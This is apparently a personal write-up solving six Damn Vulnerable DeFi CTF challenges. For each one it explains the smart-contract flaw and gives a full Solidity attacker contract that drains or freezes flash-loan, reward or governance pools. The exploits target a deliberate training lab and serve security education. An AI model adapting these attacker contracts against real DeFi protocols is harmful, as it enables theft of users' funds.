Damn Vulnerable DeFi is the wargame to learn offensive security of DeFi smart contracts.
It was my first CTF that I decided to solve on my own, without looking for solutions on the internet. You will notice that my way of exploiting these labs is different from what other auditors normally do. All my solutions (when possible) are done by building malicious contracts, as I think this approach much easier for both auditors and customers to understand the impact of the vulnerability.
I’m not going to solve all the labs, only the most interesting ones, so as not to get repetitive.
Challenges
1. Unstoppable
Description: There’s a lending pool with a million DVT tokens in balance, offering flash loans for free.
Objective: Stop the pool from offering flash loans.
In this challenge, we have 2 contracts:
-
UnstoppableLender
: Contract that offers flash loans. -
ReceiverUnstoppable
: Contract simulating a user contract. It requests a flash loan fromUnstoppableLender
, which lends to theReceiverUnstoppable
contract and calls thereceiveTokens()
function, which in turn returns the loan money at the end of the function to the pool (UnstoppableLender
).
If you still don’t understand how Flash Loans work, read this article.
Continuing, we then see that the flash loan pool has an assert()
that checks if the size of the poolBalance is equal to the balanceBefore in the flashLoan()
function:
assert(poolBalance == balanceBefore);
The poolBalance
is a variable that is incremented whenever the depositTokens()
function is called:
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}
Therefore, we can render the contract inoperable simply by making a direct transaction to the target contract, without using the depositTokens()
function. In this way, the value of PoolBalance will be different from the current amount of tokens in the contract, causing the assert to be triggered and preventing other loans from occurring.
The attacker’s contract would look like this:
contract Attack {
IERC20 public immutable damnValuableToken;
constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
}
function attack(address target) public {
damnValuableToken.transfer(target, 1);
}
}
2. Naive Receiver
Description: There’s a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiving flash loans of ETH.
Objective: Drain all ETH funds from the user’s contract. Doing it in a single transaction is a big plus ;)
In this challenge, we notice that the NaiveReceiverLenderPool
contract does not check who the msg.sender
calls the flashLoan()
function is. Therefore, we can call this function and specify the borrower’s address as the target’s contract (FlashLoanReceiver
). In this way, a fee of 1 ether will be charged from the target for each loan executed.
If we set up a loop, we can execute this function until the target’s contract balance becomes less than 1 ether, zeroing out your entire account balance in just one transaction.
The attacker’s contract would look like this:
contract Attacker {
NaiveReceiverLenderPool public pool;
address target;
constructor (address payable _pool, address _target) {
pool = NaiveReceiverLenderPool(_pool);
target = _target;
}
function attack() public {
while(address(target).balance >= 1 ether){
pool.flashLoan(target, 1);
}
}
function targetBalance() public view returns (uint){
return address(target).balance;
}
}
3. Truster
Description: We have a pool that has 1 million DVT tokens in balance. And you have nothing.
Objective: You might be able to take them all from the pool. In a single transaction.
Let’s look at the pool’s flashLoan()
function:
contract TrusterLenderPool is ReentrancyGuard {
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.call(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
The flashLoan()
function interacts with the target
address using the call
method, which can be used to call functions from other contracts.
To solve this lab, we can then force the target contract to execute the token’s approve(address spender, uint256 amount)
function, approving the transaction of 1 million tokens to the attacker’s address.
Then just call transferFrom
and get the approved tokens!
The attacker’s contract would look like this:
contract Attack {
TrusterLenderPool public pool;
IERC20 public token;
constructor (address _poolAddress, address _tokenAddress) {
pool = TrusterLenderPool(_poolAddress);
token = IERC20(_tokenAddress);
}
function attack() public returns (uint256) {
uint256 tokenAmount = token.balanceOf(address(pool));
bytes memory payload = abi.encodeWithSignature("approve(address,uint256)", msg.sender, tokenAmount);
pool.flashLoan(0, address(this), address(token), payload);
}
}
4. Side Entrance
Description: This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Objective: Take all ETH from the lending pool.
In this contract, we have the flashLoan()
function that makes the loan and checks the current balance of the contract, to ensure that it will not be changed.
However, we also have the deposit()
function that deposits ETH to the user’s account, which consequently increases the total balance of the contract:
contract SideEntranceLenderPool {
using Address for address payable;
mapping (address => uint256) private balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
Therefore, we can apply for a loan by calling the flashLoan()
function and with this loan balance deposit with deposit()
function. In this way, the pool balance will remain the same, going through the loan condition, but on the other hand, the attacker will have balances in his account to withdraw.
The attacker’s contract would look like this:
contract Attack {
SideEntranceLenderPool public pool;
constructor(address _poolAddress) public {
pool = SideEntranceLenderPool(_poolAddress);
}
function attack() public {
pool.flashLoan(address(pool).balance);
withdraw();
}
// Will be called when flashLoan() is executed
function execute() external payable {
pool.deposit{value: address(this).balance}();
}
// Withdraw the ETH from pool and transfer to attacker
function withdraw() private {
pool.withdraw();
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
5. The Rewarder
Description: There’s a pool offering rewards in tokens every 5 days for those who deposit their DVT tokens into it. Alice, Bob, Charlie and David have already deposited some DVT tokens, and have won their rewards!
Objective: You don’t have any DVT tokens. But in the upcoming round, you must claim most rewards for yourself.
This challenge is a little bigger because it uses 4 different contracts, which can confuse those who are starting.
In summary, the AccountingToken
and RewardToken
contracts are ERC20 tokens with some extensions enabled, such as Snapshot and Burnable.
On top of the other two contracts, FlashLoanerPool
is a basic pool that provides flash loans of DVT tokens and TheRewarderPool
is the main pool that allows users to deposit tokens (every 5 days) and receive rewardTokens
as a reward.
Reading the TheRewarderPool
, we understand that users can deposit liquidityTokens (DVT Tokens) every 5 days. In doing so, the deposit function calls the distributeRewards()
function, which will do a calculation based on the deposited amount and add rewardTokens to the user’s account as a reward. In the end, the user can redeem the liquidityTokens that he had previously deposited.
The vulnerability, in this case, is that the contract uses a snapshot
to save the current balance of the user’s account. Because of this, an attacker can request a huge flash loan from the FlashLoanPool
contract and deposit it into the TheRewarderPool
. He then redeems the deposited tokens and returns them to the FlashLoan contract.
As a result, due to the snapshot, the attacker will receive the RewardTokens even without having deposited money into the account. Because it is possible to do this through flash loans, the attacker can recover large amounts of RewardTokens at once.
The attacker’s contract would look like this:
contract Attack {
FlashLoanerPool public loanPool;
DamnValuableToken public immutable liquidityToken;
TheRewarderPool public rewarderPool;
RewardToken public immutable rewardToken;
constructor(address _flashLoanAddress, address _liquidityTokenAddr, address _rewarderPoolAddr, address _rewardToken){
loanPool = FlashLoanerPool(_flashLoanAddress);
liquidityToken = DamnValuableToken(_liquidityTokenAddr);
rewarderPool = TheRewarderPool(_rewarderPoolAddr);
rewardToken = RewardToken(_rewardToken);
}
// Main attack function
function attack() public {
loanPool.flashLoan(5000);
}
// Function called by flashLoan()
function receiveFlashLoan(uint256 amount) external payable {
liquidityToken.approve(address(rewarderPool), amount);
rewarderPool.deposit(amount);
rewarderPool.withdraw(amount);
liquidityToken.transfer(address(loanPool), amount);
}
// Check RewardToken balance of Attacker's contract
function getRewardBalance() public view returns (uint){
return rewardToken.balanceOf(address(this));
}
}
interface FlashLoanerPool {
function flashLoan(uint256 amount) external;
}
6. Selfie
Description: A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. Wow, and it even includes a really fancy governance mechanism to control it. What could go wrong, right ?
Objective: You start with no DVT tokens in balance, and the pool has 1.5 million. Your objective: take them all.
First, let’s understand the contracts:
- SelfiePool: Provides flash loans to users. It also has a
drainAllFunds()
function that transfers all tokens to an address, but it can only be called by the SimpleGovernance contract. - SimpleGovernance: If the user has more than half of the total amount of tokens from the last snapshot, he can create an action and execute it. The action allows the user to call any function from any address.
In this case, an attacker can request a loan of a huge amount of tokens, create a snapshot and return the tokens to the pool. That way you can schedule and execute an action on the SimpleGovernance contract.
Since we can schedule an action to call any function from any address, we can force SimpleGovernance to call the drainAllFunds()
function to the attacker’s address.
The flow of this attack is a little more confusing, so I decided to put together a simple diagram to make the logic of the malicious contract clearer:
The attacker’s contract would look like this:
contract Attack {
SelfiePool selfie_pool;
SimpleGovernance simple_governance;
DamnValuableTokenSnapshot public token;
constructor(address _poolAddr, address _govAddr, address _token) {
selfie_pool = SelfiePool(_poolAddr);
simple_governance = SimpleGovernance(_govAddr);
token = DamnValuableTokenSnapshot(_token);
}
function attack() public {
// 1. Request Flash Loan
uint amount = token.balanceOf(address(selfie_pool));
selfie_pool.flashLoan(amount);
// 5. Execute action
// Optional. If the delay is 2 days, we just have to wait 2 days before calling this function
simple_governance.executeAction(1);
}
function receiveTokens(address _token, uint256 _borrowAmount) public {
// 2. Create Snapshot
token.snapshot();
// 3. Create new Action that calls SelfiePool.drainAllFunds()
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", address(this));
simple_governance.queueAction(address(selfie_pool), data, 0);
// 4. Transfer the tokens to SelfiePool
token.transfer(address(selfie_pool), _borrowAmount);
}
function getBalance() public view returns (uint) {
return token.balanceOf(address(this));
}
}
To solve this lab, I reduced the
action_delay_in_seconds
to zero days. This will not impact the exploitation, it will only allow us to debug easier in case of an error.